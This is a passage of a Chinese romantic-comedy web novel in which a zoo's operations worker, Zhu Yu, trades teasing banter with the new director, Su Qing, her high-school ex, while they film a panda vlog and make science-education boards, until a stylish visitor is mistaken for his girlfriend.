她早上去到动物园,先给coco喂食,边喂边念叨:“我这么好的主人真是打着灯笼都难找啊……你居然还胳膊肘往外拐,天天喊什么园长园长的,真的很没骨气啊!一点都不随我!以后再这样,小心我不给你零食吃……我问你那个新来的园长,他会喂你吗?他会像我这样尽心尽力地喂你吗?你的口粮和你的零食都是谁喂的?是谁辛辛苦苦把你养这么肥的?!”
coco啄了几口种子粮,忽然开始叫:
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“园长,园长,园长……”
“关他什么事啊?”祝余耐心地敲敲coco的碗沿儿,继续教育它,“别叫他园长了,我们高中时候给他起过一个外号,叫熊猫哥,来你跟我念一遍,熊猫哥……”
coco扑棱着翅膀:“园长,园长!”
祝余摇摇头,心想还是改天把这傻鸟送给老周吧,转身欲走,结果看见苏青一手拎着个玩具一手拎着袋种子粮,玩具是祝余放进购物车很久没舍得买的那个,种子粮是一个荷兰进口的巨贵的牌子。
怪不得这傻鸟天天“园长园长”叫的这么殷勤!
苏青把玩具给coco安装好,才微微挑起一边眉梢:“……熊猫哥?”
“不不不老板。”祝余啪的一下立正,“肯定是你听错了!我明明说的是……是……”
“没事儿。”
她正抓耳挠腮地想要挽救,只见苏青带着怀念的神色,说:“很久没人这么叫我了。”
他把种子粮交到祝余手里:“来我办公室一趟。”
祝余深吸一口气,看着苏青阔步迈入办公楼的身影,幽幽地对coco说:“不怪你叛变,妈确实喂不起你这么贵的粮……”
等等!他刚刚说什么?去他办公室干嘛!
祝余打了个寒颤:打击报复什么的这么快就来了吗!
她半路上碰见陈最,神神叨叨地抱着她哭了好一会儿,说什么“心似草木之灰身如不系之舟啊”,还有什么“我的职业生涯迎来了有史以来最严峻的挑战”,以及“一会儿我在苏青办公室里半个小时没出来你就要进去解救我呀”,说的陈最一头雾水,还以为苏青怎么她了,然后泪流满面无比哀怨无比沉重地飘进了园长办公室。
苏青正坐在办公桌前看几份资料:“你先坐一会。”
“不不不不不我还是不坐了,有什么话您还是快说吧。”祝余揪着衣袖,再次怂了,“老板我深刻反思了我刚刚的教鹦鹉喊你外号的行为……”
苏青及时叫停。按照以往经验,他如果不及时打断,这人能站在他办公室里空口编出八百字检讨。
他神情愉快:“不先说这个。说说工作,最近有什么新计划吗?”
“哦这个啊。”祝余松了口气,“最近直播没什么效果,但是我发现大家都挺喜欢果果的,我打算以果果为切入点,拍点奶爸奶妈和果果互动的日常vlog什么的,看看粉丝反应再说。另外就是,我在想这不是春天了吗,我们能不能跟平江市的小学合作一下,争取让他们把今年春游的地点定在咱们西府动物园。”
“我觉得这个想法还是挺不错的。”不待苏青回应,祝余先点点头,自我肯定道,“又能传播动物保护知识,又能宣传咱们动物园,一举两得啊!”
“确实不错,改天我先联系下附近几所小学的校长,看看能不能争取到合作机会。”解决完这个问题,苏青又转回上一个,“你说的vlog,也可以拍拍别的小动物……”
“行。”
祝余一点头,只听他继续道:“我看小熊猫就挺不错的!”
5. 巡园
祝余看着苏青嘴角扬起的需要用放大镜看才能看出来的弧度——别人看不出来,但她对这副表情相当熟悉,愤愤然地想:很好笑嘛!故意的吧!他是故意的吧!
然而她现在已经是一条成熟的职场咸鱼了,试探地开口:“老板,没事的话,我先回去工作去了?”
“你陪我去巡园吧。”苏青知道她不经逗,偶尔逗一逗也就罢了,一直逗会炸毛的,他点到即止,“顺便咱们去熊猫馆拍点素材。”
祝余很显然不想接这个活:“周谨呢?”
“他一早就去救助站了。”
“那陈最……”
“她早上要去清理圈舍。”苏青微笑地望着她,眼神里明晃晃写着:“别想了整个动物园里现在就咱俩最闲。”
“……”
一阵沉默后,祝余无奈妥协:“行吧,等我回去拿相机!”
如果不是和苏青一起,巡园是祝余最爱做的事情,先到熊猫馆看果果和星星吃竹子吃窝头吃胡萝卜,有时候她会带份早饭隔着展馆的玻璃一块儿吃,然后去花果山看看那群猴,没游客的时候还能跟着喊两声,很放松心情,再就是去考拉馆看可可爱爱抱着树桩子不松手的小考拉称体重。一早上就差不多过去了。
西府的办园理念是:自由,自然,尊重生命。所以园内也是怎么自然怎么来,春日树木郁郁葱葱,玉兰花开的正盛,整个园区不像人工建造的动物园,而像是会有野生动物出没的丛林。
山间空气清新,也令人心旷神怡。
但有了苏青,一切就都不一样了。祝余身后跟着一团浓浓的怨气,飘进熊猫馆时,连陈最都吓了一跳,担忧地问:“你没事吧?脸色这么差,昨晚没睡好吗?”
祝余正把自己往无菌服里塞,闻言潦草地点点头,她能说什么呢,她总不能说“这个人是我前男友我现在居然还要和他一起巡园我的怨气堪比邪剑仙”吧。
可怜的小祝同志啊……
只是偶一抬头,看见苏青也被套进无菌服里,长手长脚的他穿上这身又胖又肥的蓝色衣服——居然一点都不显的笨拙!反而还是那么的身量修长,那么的风度翩翩,仿佛他身上穿着的不是一套财务老张趁双十一大促批发购买的无菌服,而是刚从米兰秀场上拎下来的高定成衣。
陈最冒着星星眼感慨:“好帅啊!怎么有人穿无菌服还能这么帅!哎鱼鱼,你们高中的时候不是同学嘛,是不是很多人追咱们园长啊?”
有人追他吗?祝余眨眨眼,想不起来了,随口胡诌:“算了吧。你看他那张冰山扑克脸,谁敢靠近他啊。况且现在早就不是高冷男神流行的年代啦,小女生们都喜欢阳光开朗小奶狗型的。”
“不一定啊,”陈最反驳道,“我就很喜欢这种类型,成熟稳重的男人最有魅力了好嘛!而且你看最近那个选秀出道的男明星不就是这个风格,不也很火嘛!”
成熟稳重的男人……祝余额角抽了抽,心想你这是和他还不熟,还不知道他其实腹黑着呢,居然会觉得他和成熟稳重搭边儿。等你跟他混熟了就知道大错特错了,他就是那种高中时代话少成绩好最讨老师喜欢最讨同学厌的学霸啊,轻飘飘一个眼神就能让人觉得学霸和我们普通人果然不是一个星球的人。
“那哪儿能一样,人家是明星哎!”
陈最被美色蒙蔽了双眼,俨然忘了前几日的修罗场教训:“我觉得他如果出道肯定也能火。”
这话祝余听着挺耳熟的,好像自己当年也说过。苏青听见她们的对话,凑过来很不谦虚地说:“她当年也真诚建议过我报考电影学院。”
陈最一哂:“那您怎么又学兽医学去啦?话说回来您如果出道,那娱乐圈就没有现在这群高冷人设的男明星的立足之地了好嘛!”
苏青忽然看看祝余,意味深长地说:“当然是更喜欢这个专业啊。”
提及往事,祝余扛上相机,溜的飞快:“走了走了,再不去拍果果都吃完了!陈最,切个苹果来给果果当零食!”
“来了来了!”陈最应着。
站在熊猫馆里,祝余难免又想到多年前,他们俩把在野外发现的受伤的小刺猬送到西府动物园内的救助站,然后肩并肩看兽医给小刺猬包扎伤口。
祝余突发奇想地说:“我以后也想考动物医学专业,当兽医。”
苏青那时候话比现在还少,淡淡地“嗯”一声,就没下文了。
祝余碰碰他,主动问:“你呢?”
“我也是。”
有句话怎么说,人生不如意十之八九,祝余高考分数差两分,与动物医学专业失之交臂,去读了动物科学,毕业后又混到运营行业里,虽然还是在动物园里和小动物朝夕相处,但是终究没能实现当兽医的理想。
就像她和苏青……
摄像头里的果果把她从回忆中拉出来:还是毛茸茸的小动物什么的更可爱!
只见果果吃饱喝足,蹭蹭屁股,懒洋洋地躺在假山旁边,过了一会儿,又扭着屁股慢吞吞地往树上上爬。
熊猫这种生物,虽然爪子锋利无比,战斗力强的恐怖,但就是萌的人心都要化了啊!
果果爬到树杈上,卡住屁股,偶尔晃晃小爪子,一副悠哉悠哉的样子。
这是他最喜欢干的事情,卡在树杈上发呆。
只不过今天果果似乎察觉到祝余在拍他,表演欲发作,没一会儿就从树上下来,颠颠地爬到木架上,歪歪斜斜地躺着,一脸“老子是国宝”的桀骜不驯。
陈最拿着两块小苹果来喂他,他一见小苹果,猛地起身,想扶着架子爬下来,结果没扶稳,脚滑了一下,一屁股摔下来了。
他滚了两圈,装作无事发生地拍拍屁股冲向陈最。
“哈哈哈哈哈哈你看他好可爱!”祝余被果果的傲娇给逗乐了,对今天拍到的素材也很满意,拍拍手打算收工回去剪视频。
她站的地方是一处杂草丛生的斜坡,手上举着齁沉的相机,脚下容易打滑,祝余望望那坡,很自然地扶上站在旁边跟树桩子一样的苏青,借力一步迈上去。
苏青垂眸看着抓住自己手臂的一双手,十指修长,青筋凸起,忽然冒出一个作为修过三年临床医学的医学生的下意识想法:这手扎针应该挺好扎的。
等她站稳爬上来,苏青笑道:“果果姐。”
没完没了了!不就叫他一声“熊猫哥”嘛!出国几年回来怎么还越来越小气了!
祝余瞪他一眼,雄赳赳气昂昂地走了。
他们从熊猫馆出来时,正有零星几个游客进去,一个穿小花裙子的小孩子指着门口的手绘图高兴地
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喊:“大熊猫!”
“妈妈,”小朋友晃晃牵着妈妈的手,问,“大熊猫和我们刚才看的小熊猫是什么关系呀?小熊猫长大了就会变成大熊猫吗?”
“大熊猫和小熊猫……”年轻女人蹙着眉,正在思考如何给小孩子解释这个问题。
苏青蹲到小孩子面前,摸摸她毛绒绒的小脑袋,柔声说:“小熊猫长大后可不会变成大熊猫哦!而且小熊猫啊是不会长成大熊猫那么大的。他们俩最主要的区别呢,就是大熊猫是黑白色的,小熊猫却是红棕色的。”
小女孩甜甜一笑:“我知道啦,谢谢叔叔!”
祝余站在一旁,摸着下巴思考。
“走了,想什么呢?”
苏青肩宽腿长,走路也快,祝余抱着相机小跑着跟上他:“你说我们在展馆外面做个科普栏怎么样?就写一些科普类的小知识,比如熊猫和小熊猫的区别,小熊猫和小浣熊的区别一类的……如果有小学生组织来春游的话,我们还能让奶爸奶妈组织科普讲座什么的。”
“不错。”苏青点头,“那交给你负责了。”
“我要剪视频!”祝余心安理得地给园长布置工作任务,“你来。你不是学过画画嘛,注意要画的兼具趣味性和知识性。”
苏青淡淡道:“那你剪完视频来帮我打下手吧。”
“行行行。”祝余点头应付着。
她心想:巡园是个费时间的活儿,等他们巡完估计就要中午了,吃个饭趴办公室里午睡一会儿,等下午上班再摸摸鱼剪剪视频,剪完发到账号上去,就又该下班了。
完美!
如她所料,巡园果然进行到中午。祝余饥肠辘辘,闪电般冲进食堂,把苏青遥遥甩在身后。
今日员工餐:西红柿炒鸡蛋,手撕包菜,炸猪排,宫保虾球,都是祝余爱吃的。她排队的时候就不停咽口水,捧着餐盘笑的眉眼弯弯,终于排到她了,还不忘恭维食堂阿姨:“哎呀阿姨您今天气色真好!”
食堂阿姨被祝余夸的笑眯眯乐呵呵,盛菜的手一点儿都不抖,满满一大勺虾球,还给她挑了最大的一块炸猪排。祝余心满意足地哼着歌找位置去了,临走前还拿了一盒酸奶。
“聊什么呢!”她挤在陈最和周谨中间,“挤挤挤挤,给我个位。”
周谨无语:“旁边那么多空位你不坐,你非要挤我们俩中间吗!”
“那我当然要和我们家陈最挨着坐啊。”她手一挥潇洒地给酸奶插上管,取出一次性筷子,隔空一点周谨,“老周啊,别以为我不知道你什么心思……”
“胡说什么!”老周还没说话,陈最先给她一手肘,“吃你的饭吧!”
周谨刚欲也给她一手肘,就看见她的餐盘,立刻不满地嚷嚷起来:“喂你的虾为什么那么多?你给了食堂阿姨什么好吃?!”
祝余头也不抬:“当然是用我的善良和美貌征服了阿姨啊~”
头顶忽然传来一声轻笑:“天天夸阿姨,不是阿姨你今天好漂亮啊就是阿姨您怎么保养的啊看起来这么年轻……她高中时候就开始用这招了。”
祝余面无表情地一抬眸,果然看见苏青那张欠扁的脸。
“我能坐这吗?”苏青挂着大尾巴狼一样的微笑,端着餐盘站在对面的空位上,十分无辜十分礼貌地问。
6. 对家
祝余十分克制才没翻出个白眼来:难道我还能说不能吗?!
“坐坐坐!”陈最把桌上的东西略一收拾,热情邀请,“您快坐!没想到啊鱼鱼,你高中就这么狗腿了。”
祝余不以为耻,骄傲地一昂下巴,掰着手指头和她数:“我这叫与食堂工作人员打成一片。更何况我高中在食堂吃饭,排骨、虾、鸡肉这种大荤菜永远比他们多两块,鸡腿永远是最大的,更别说什么西红柿炒鸡蛋里全是鸡蛋,辣椒炒肉里没有辣椒这种这种小事了。天大地大吃饭最大,狗腿一点怎么了!”
陈最哑口无言,给她竖了个大拇指。
苏青静静地听着,唇边始终挂着抹若有似无的笑意,慢条斯理地往外挑葱花。
“这么多年了,还是为了口吃的天天把食堂阿姨夸出花啊……”
祝余斜他一眼,轻飘飘回击:“这么多年了,还是这么龟毛啊,不吃这不吃那,怎么不靠喝露水活着啊?”
桌上唯一一个不知情但此前隐隐有预感的人——周谨,此时一拍脑门,终于反应过来了:“你们是同学啊!我就说祝余你那天怎么那么反常。同学有什么不好意思说的啊?”
祝余咬着筷子,无语片刻:忘了周谨这个大嘴巴还在了!估计很快西府上下甚至连她养的那只鹦鹉都要知道她和新园长是老同学关系了。
她总是有一种说不清道不明的,很微妙的心理,不想让人知道他们俩认识。
“不对啊,老同学见面何至于那样,我那天就觉得你们俩不对劲了,”周谨还在絮叨,“你们俩该不会是有什么情况吧?!”
两人闻言都愣了愣。
“什么情况?”祝余反应最快,把装傻充愣一问三不知的原则贯彻到底,“瞎猜什么呢,你是以己度人吧?”
话音未落,又挨陈最一手肘。
祝余抱着肚子装模作样地喊痛,黏着陈最说需要动物园对面甜品店里巨大一颗的奶油泡芙当补偿否则就赖上她了。
一片嬉闹声中,苏青轻声说:“她亏心而已。”
刹那间鸦雀无声,静的连根针掉到地上都能听见。
祝余:谁能告诉我他出国六年究竟受了什么刺激为什么回来以后话那么多!
祝余:有没有地缝给我钻一钻啊!
周谨和陈最目瞪口呆,互相交换了一个吃到大瓜的雀跃眼神。
苏青挑完了葱花,又开始挑姜丝,眼皮都不抬:“她高中的时候天天压榨我,跟她同桌三年,给她写了两年作业。哦……还欠我五百块钱没还呢。”
“黑历史嘛,谁都有。”苏青眨眨眼,和祝余对上视线,无辜的很,“有什么好怕人知道的?”
苏青的长相确实很俊秀,剑眉星目,五官深邃,陈最说他如果出道肯定能红,其实是没说错的。尤其是一双眼睛,眼皮薄,眼尾上挑,冷淡,但直勾勾盯着人看时仿佛能把人吸进去一样。
祝余一时看愣了,在心底唾弃自己:可恶,时隔六年,还是会被美色吸引到!呜呜呜怎么办我好没出息!
她不自然地移开目光,心想自己肯定是太久没看过帅哥了,晚上回家就把她珍藏的男团舞台合集找出来看上个十遍八遍的!
她一边这么盘算,一边分出点精力小心翼翼地用余光瞥着身边俩人,心想他说的那通话也太扯了,幸好周谨和陈最两个人的智商和coco那只鸟不相上下,说什么信什么,此刻连连点头。
“高中嘛,都不懂事,我高中黑历史也一大堆呢哈哈哈哈哈。”
“没错没错我也是,我现在遇见那些高中同学提起来以前的事也觉得很尴尬啊哈哈哈哈。”
祝余不动声色地,在桌下狠狠踢了苏青一脚:“我什么时候欠你五百块钱了?”
苏青毫无反应。
“不记得了?”他终于把姜丝也挑完了,抬眸看着祝余,话里有话,“那等你想起来再说吧。”
五百块钱的事情困扰祝余一中午,搞的她连觉都没睡好,甚至趁着午休时间骚扰林晚,得到一个意料之中的答复:“他驴你的吧?”
林晚在电话那头絮絮叨叨:“他每次驴你你都信,祝余,都六年了,你能不能有点长进!唉——你这可怎么办啊!不过话说回来他拿这种话驴你干什么?他家破产啦?”
祝余虽然不赞同林晚后面的话,但对“他驴你呢”这个结论深以为然,也不纠结了,掐断电话,端着她双十一和老张拼的九块九两个的大茶缸去泡茶。
午后,整栋办公楼都静悄悄的,只偶尔有几声鸟叫传来,听着像是白头鹎。
刚拉开办公室的门,一墙之隔的园长办公室那扇年久失修的木门也发出“吱呀”一声,苏青低头按着手机走出来,与她撞了个面对面。
祝余随口寒暄:“干嘛去?”
“能进去吗?找点东西。”苏青指指她身后,祝余扭头看去,角落里堆着一堆七零八碎的……破烂。
运营部只有祝余一个人,整间办公室也由她一人独享,也因此这间办公室后来成了大家的半个杂物间,什么乱七八糟的东西都往里面堆。
“随意。”
她泡茶去了,端着大茶缸回来时,苏青还在她办公室里翻翻捡捡,脚边放着不知道从哪里找出来一盒颜料和许多块大小不一的木板。
他抽出最后一块木板,完全忽视了祝余的存在,拉过椅子挽起袖子一气呵成,打算就地动工,俨然把这儿当成自己办公室了。
祝余傻眼了,老板在的话她还怎么摸鱼啊!
她正犹豫着怎么委婉地开口让苏青回隔壁工作,余光瞥见他施施然地站起身。祝余一个激灵,目光追着他的脚步。
终于要走了吗!
眼见苏青的身影消失在办公室门口,她终于松了口气,“腾”的一下从工位上站起来打了一套军体拳。
“终于走了,哈哈哈哈哈哈,嘿!”
“你……在干嘛?”
“……?”
第一套动作尚未打完,她恰好转过身,两只胳膊随即凌厉地劈下去,就猝不及防地撞上了苏青困惑的面色。
祝余眨眨眼,当即大脑宕机忘了下一个动作,以一个左腿弓步两手直挺挺伸着全身僵硬的姿势愣在了原地。
祝余:我是谁我在哪我在干什么!他为什么又回来了?!身上为什么还多了条围裙?这围裙是从哪翻出来的也太丑了吧!
她慢吞吞站直,胡乱地拉伸胳膊:“我……运动运动,哈哈,坐太久了。”
“那你刚刚说什么终于走了,谁终于走了?”苏青抱臂靠在门上,好整以暇地问,“不会是我吧?”
祝余:明明今天泡的是普洱,怎么办公室里一股绿茶味?
她深吸一口气,扬起一个巨虚伪的假笑来:“怎么会呢领导,我是说外面那只白头鹎。天天来啄我办公室窗户的那只。”
“哦……”苏青满意了,又坐回他刚刚搬来的椅子上。
Ok,fine。
祝余一屁股瘫坐回工位,面如死灰地盯着电脑,好一会儿还是忍不住说:“您考不考虑回隔壁画?我觉得隔壁比我这宽敞多了,光线也好……”
“这么多木板,搬来搬去多麻烦。”苏青淡淡斜她一眼,“你有意见?”
祝余心里说:“当然有啊你在这儿我还怎么摸鱼,一会儿唰唰剪完视频还要给你打下手!今天的
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工作量超标了你知不知道啊!”
“当然没有!我亲爱的……呸,敬爱的领导,您随意。”
“亲爱的……”
苏青别的话都没听到,只听见了这三个字,心想她这满嘴跑火车的爱好还是没改,不会平时也这么叫过别人吧?
祝余眼睁睁看着他的脸色一寸寸冷下去,降到冰点,然后冷冰冰地扭过头,拿后脑勺对着她。
让他随意也不行?真是越来越让人琢磨不透了。
他埋头作画,祝余乐道不用理他,埋头剪视频,过了约莫一个多小时,才把剪好的视频发到账号上,自我评价今日工作量已超额完成,可以开始摸鱼了。
然而冷冰冰像雕塑一样的老板还杵在自己办公室里,她悄悄瞥一眼,发现他一直低着头在木板上写写画画,压根没注意她这边。
祝余放心了,又朝里面挪了挪,试图用电脑彻底挡住他的视线,开始放心地玩手机。
想到中午她居然对着苏青犯了会儿花痴,祝余怒其不争地从包里翻出蓝牙耳机,点开她珍藏已久的男团舞台合集,那里面包含了十年内出道的大大小小二三十个男团,个个都是肩宽腿长,脸帅腰细,十分养眼。
她看得正入神,耳边忽然响起一声清脆的响指,登时一个激灵,下意识一边十分心虚地把手机往兜里塞一边用手背抹抹嘴边,确认没有某些可疑的痕迹。
“干嘛?”
苏青瞥一眼她的屏幕,只看见十几个穿的花里胡哨的男人:行吧,还是一如既往地爱看帅哥跳舞啊……
“很好看吗?”
“………”
这莫名其妙的熟悉感是怎么回事?好像高中上自习课看男团舞被他抓包的时候也发生过类似的对话……
那次苏青问她好看吗,她傻不愣登地说“好看啊!超级帅的好吗”,还试图邀请他和自己一块儿看,结果苏青一周没给她抄作业。
后来她追悔莫及,痛定思痛,还跑去问同为男人的班长有何高见,最终得出苏青不喜欢她看的那个男团的结论。
这也正常,毕竟当时那个男团风头正盛,在综艺上抢了苏青喜欢的一个老牌男演员的风头,这在粉丝里叫什么——对家!
男团和男演员是对家,所以作为粉丝的苏青也就把喜欢男团的自己当成了对家!
祝余这次学聪明了,小心觑着苏青的脸色:“一般般?”
苏青眯起眼睛:“一般般?”
“不好看!”祝余坚定地一摇头。
这就对了。
苏青不冷不热地点点头,在她面前竖起块木板,上面画着一只卡通形象的熊猫和小熊猫,上书一些物种、栖息环境、生活习性一类的简单科普知识。
“帮我看看,这样可以吗?”
“不错啊,画技有长进!”
苏青流露出矜持又满意的神色,问:“视频剪完了吗?”
“剪完了,都发出去了。”祝余点着鼠标,给他看后台数据,“我们的切入点是对的,果果是明星选手,这条视频刚发出去,流量比以前的视频好多了,你看,点赞几百个,评论也已经有几十条了。”
“不错,再接再厉。”苏青哄小孩一样拍拍她脑袋,往她手里塞了支笔,话锋一转,“既然忙完了,就来帮我忙吧。”
“啊?我不会画。”
“你写科普。”
祝余瘫在椅子里,控诉道:“你这叫压榨劳动力!再说了我写字也没你好看啊。”
“听话。”苏青微笑着又往她怀里塞了块木板,“下班给你买对面甜品店里那么大一个的奶油泡芙当补偿。”
祝余的眼睛“唰”一下亮了。
7. 女朋友
祝余此人,用林晚的的话说,那叫相当没出息。随便扔她点吃的就能拐跑,如果这点吃的恰巧还是她喜欢的,那她就跟见了肉包子的萨摩耶一样撒欢或者跟见了火腿肠的流浪猫一样围着铲屎官团团转。
上学的时候,一份学校小超市里独家出售的关东煮能收买她帮苏青带一周的早餐。现在,对面甜品店里那么大一个的奶油泡芙也能收买她帮忙画三天的木版画。
林晚对此恨铁不成钢多年:“也没缺过你吃的吧?”
祝余表示:“谁会嫌好吃的多呢?就像你们会嫌的小钱钱多吗?一样的啦,我只不过是升华了而已。”
苏青用这一招用的简直是得心用手,靠着奶油泡芙、巧克力麻薯,各种口味的提拉米苏和冻柠茶,诱/惑祝余给他当了三天的苦力,每次一发现她冒出抱怨的苗头,就抄起一块甜点塞进她嘴里。
祝余一边嚼着甜点一边想:天大地大,吃饭最大,干点活就干点活吧,忍了!
两人吭哧吭哧地埋头苦画三天,终于弄出来十几块大大小小的科普牌。
祝余拍拍手,从一堆水彩木板里解脱出来,大马金刀地坐在工位上,指挥苏青到老周那借个小推车,把这些东西都挂上去。
身娇肉贵的她从来不插手这种苦力活,吸溜着冻柠茶翘着腿毫无心理负担地看苏青和老周两个人跑上跑下,结果没想到苏青比她还身娇肉贵,艰难地抱着三块板子,蹙着眉,时不时小幅度活动一下臂膀,一副摇摇欲坠看起来就会绊倒在楼梯上的样子。
周谨看他这样,劝道:“园长,我帮你分担一下吧,来来来给我一块。”
苏青不动声色地看了眼祝余:“没事儿,我拿的了。”他顿了顿,见祝余眼神中带着欣慰,明晃晃写着“太好了不用我帮忙”,又意有所指的补充道,“不用人帮忙,虽然我胳膊以前受过伤,但是真的不用。”
周谨:啊?你好难懂。
还爱逞强。
祝余吸口冻柠茶,咬着吸管,想起来他好像是挺柔弱的,高中有次运动会上被全班撺掇报了八百米,跑是跑下来了,好像名次还不错,就是跑完嘴唇白的吓人,还要她帮忙买葡萄糖。
不过胳膊上的伤是怎么回事?她怎么不记得他受过伤?
也许是在国外念书的时候伤的吧。
怎么出国这么多年都没长进,还搞了个旧伤回来呢!不会在国外被人揍的吧?
她“啧”的一声,慢悠悠放下冻柠茶,踱到他面前嗤笑一声,先是撸起袖子展示了一下自己多年以来花大把银子在健身房里苦练出来的,线条优美流畅的肌肉,然后利落地从他怀里抽出两块木板,扔下一句“菜狗”,走了。
老周凑在苏青旁边,煽风点火:“老板,她挑衅你!”
“嗯……”苏青嘴角勾起一抹若有似无的弧度,“起码干活了。”
周谨:我眼花了吧?他笑了,他居然笑了?被祝余说成“菜狗”还笑了!脾气真好啊,怪不得人家能当领导!
周谨半路又被叫去救助站,只剩下祝余和苏青俩人一个展馆一个展馆地挂科普牌。挂到熊猫馆,陈最刚给果果做好新丰容,见他们俩来了,跑出来凑热闹。
“这都是你们俩画的?我就说你们这几天泡在办公室里干什么呢。蛮不错的嘛鱼鱼。”
祝余小手一挥:“是本天赋异禀足智多谋才华横溢美少女的想法!哦这个字也是我写的,不过画都是他画的,勉勉强强算他有……三分功劳吧!”
“这块字迹好像不一样。”陈最指着苏青最初画的那块小熊猫和大熊猫的板子,“这字好好看啊,练过的吧?”
祝余顿了顿,嘴硬道:“没我的好看吧!”
“哪有啊,鱼鱼你就承认吧,不要自己欺骗自己。”
她们俩凑一块时特喜欢进行一些无意义的争吵,苏青默默听着,一边在心底吐槽幼稚,一边拿小锤子哐哐哐地往墙上钉钉子。
如果祝余这会儿抬头,就能发现他挽起的袖口下伸出的一截白皙小臂上,恰到好处的肌肉和力量感。
多一分显得过于壮硕,少一分则显得单薄。
苏青钉好钉子,她们俩的话题已经发展到“我就说食堂第二个窗口的大叔喜欢咱们办公楼的保洁阿姨你还不信,信我吧鱼鱼,你眼神一直不好”,“胡说什么姐双眼视力5.0”。
苏青没忍住,笑出声来:双眼视力五点零从高中吹到现在,真实视力其实是四点九,轻微近视,不爱戴眼睛,这么些年不知道有没有再降。
祝余立刻递给他一个“敢胡说八道你就完了”的眼神,苏青抿下唇角,向她伸出手:“科普版给我。”
“就在这儿你自己拿不就好啦?”祝余递给他,絮絮道,“不是我说,我怎么感觉你体力越来越差了?上学的时候天天泡图书馆不运动吧?你这样是不对滴,要德智体美劳全面发展……”
“嗯,是不如你。”苏青从善如流,“在办公室里还要抽空练练军体拳。”
祝余摸摸鼻子,囧了。
这时忽然传来一道尾音上扬的声音:“苏青?”
三人闻声望去,只见一个打扮的极其精致的短发女生,画着烟熏妆,睫毛又长又翘,戴着一对特浮夸但是和她非常搭的金色耳环,早春天气里穿着件露腰小上衣和机车皮裙,一双长到膝盖的系带皮靴。
妈呀,美女!
祝余和陈最这两个每天泡在动物园里日均一万五千步,天天和熊猫粑粑打交道,怎么舒服怎么穿的以至于全身上下灰扑扑的糙人眼睛都直了,和美女比起来,她们俩就跟原始人差不多啊!
网上有句特流行的话:有些美女不一定斩男,但一定斩女。
祝余深以为然,面前这个活脱脱的大美女斩不斩男不清楚,但肯定斩到她和陈最了。她们俩抱在一起冒粉色泡泡。
“好漂亮啊!”
“好养眼啊!这么一比我的男团帅哥什么的简直弱爆了!”
两人不约而同地抬手摸摸鼻下,很好,没有鼻血流出来,不会显得她们俩过分没有见识。
陈最用肩膀蹭蹭祝余:“你说下次团建我也这么化妆行吗?”
“宝贝儿,这风格不适合你,你看我行吗?”
陈最说:“也不适合你,你看起来傻兮兮的,没人家辣。哎,话说她刚刚喊的谁?”
“我吧?
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”
“大白天做什么梦呢!”
苏青不紧不慢地挂好科普牌,才拍拍手,转头问:“钟杳杳,你怎么在这儿?”
“哦……”两人纷纷看向苏青,异口同声,“叫咱们园长的。”
陈最小声问:“是情侣吗?”
祝余默不作声:情侣?他才回国多久啊就谈上女朋友啦?不过异国恋也不是不可能……
苏青暗暗觑祝余一眼,见她神色淡淡,看不出什么情绪,心里胡乱地想:她们俩一看就是误会了。祝余怎么不说话,这是吃醋了吗?她果然还是没什么表情的时候好看一点!
思忖片刻,他决定添柴加火:“来玩?”
“算是吧。”钟杳杳随手一撩头发,把祝余和陈最这俩直女撩的双双捂住鼻子。
“顺便来看看能不能偶遇你,结果真遇见了。”
祝余和陈最对视一眼:这应该是情侣吧?
这反应一点也不像吃醋好吗!
苏青有种搬起石头砸了自己脚的憋屈感,淡淡道:“那你慢慢玩,园内还挺大的。”
“行。哎对了,我没开车。”钟杳杳瞅见苏青外套上蹭上片灰尘,十分自然地帮他拍了拍,“一会儿你顺便带我回去呗?叔叔还叫我最近去吃饭,我晚上正好再过去蹭顿饭。”
祝余和陈最:“是情侣没错了!”
“什么?”钟杳杳没听清,隐约听见什么“情侣”之类的,略带疑惑地看看她俩,又指指苏青,一挑眉问,“我们俩?”
祝余和陈最被美女这么看着,哪里还能听清楚她说的什么,心脏砰砰直跳,捂住胸口像小鸡啄米一样连连点头。
“不……”
“行。”苏青眸光暗了暗,及时截断钟杳杳的话茬,“一会玩完给我打电话。”
“好,我进去了。”
祝余和陈最的目光追随着钟杳杳婀娜的身姿,直到她的身影消失在熊猫馆长廊内,才又抱在一起撒癔症。
陈最:“天啊,俊男靓女,好般配!”
祝余:“不不不,姓苏的不配!”
陈最:“鱼鱼我发现你对咱们园长意见很大啊,该不会是因为你欠钱不还被他点破所以怀恨在心吧!”
“没有这回事!他驴你们呢!你信他还是信我?”
话题逐渐跑偏,两人都没发觉苏青的脸色越来越难看,阴沉沉像口大锅盖。
苏青忽然开口:“祝余。”
祝余浑然不觉:“啊怎么啦?咦你脸怎么那么黑,馆里也没那么多灰尘吧……陈最你好好打扫打扫。”
陈最反驳:“怎么可能啊馆内很干净的!你在质疑我的工作能力吗?”
苏青很不爽。
馆内阳光很好,照在他被上帝一刀一刀静心雕刻的俊美面孔上,那张脸上居然怪异的一丝温度都没有,面色阴沉如水,眸光冷若冰霜。
陈最再没眼色也安静下来,磕磕巴巴道:“我,我……我听见果果叫我了我先走了!”
她一溜烟跑了,祝余蹙着眉,一脸不解地看着他:这是怎么了,刚才明明还好好的啊。
苏青冷不防问:“我谈恋爱你很高兴吗?”
8. 定胜糕
祝余蹙着眉,表情非常困惑:“你谈不谈恋爱和我有什么关系?况且你女朋友……挺漂亮的啊。看我干什么?我高兴,高兴还不行吗?”
她说的其实是违心话。
实际上此刻她内心中十分复杂,一方面,她确实觉得刚刚那个叫“钟杳杳”的女生很漂亮,和苏青站在一块很养眼,两人很般配。如果他们俩两情相悦,那她确实替苏青感到高兴,她希望苏青过的越来越好。另一方面,他们俩毕竟是前男女朋友的关系,碰见人家现女友,多多少少有点别扭。
祝余心想,如果那个人真是他女朋友,他们俩好像要保持点距离了。如果工作上的接触不可避免,那私底下就少联系吧,免得人家女朋友心里不舒服。
她想通这一点,十分洒脱地向苏青摆摆手,重复道:“我真的替你高兴,不要怀疑,我就是这么的善良~”
结果苏青依旧沉着张脸,冷冷地看她半天,面无表情地推着小推车走了。
还有几个展馆的科普牌没挂完,但祝余在工作上向来遵循浑水摸鱼的原则,见他一个人走了,远远地在他背后喊:“还要我帮忙吗?不要的话我回去啦?”
苏青深吸两口气,烦躁不已,头也不回地挥挥手,示意她快走,别再说话了。
*
傍晚,回苏家的路上,钟杳杳抱着手机修图,终于挑出满意的九张图片发完朋友圈后,从手机里抬起头,看着身边这块不断散发出冷气的大冰块,打了个哆嗦:“你怎么了?下午不还好好的。”
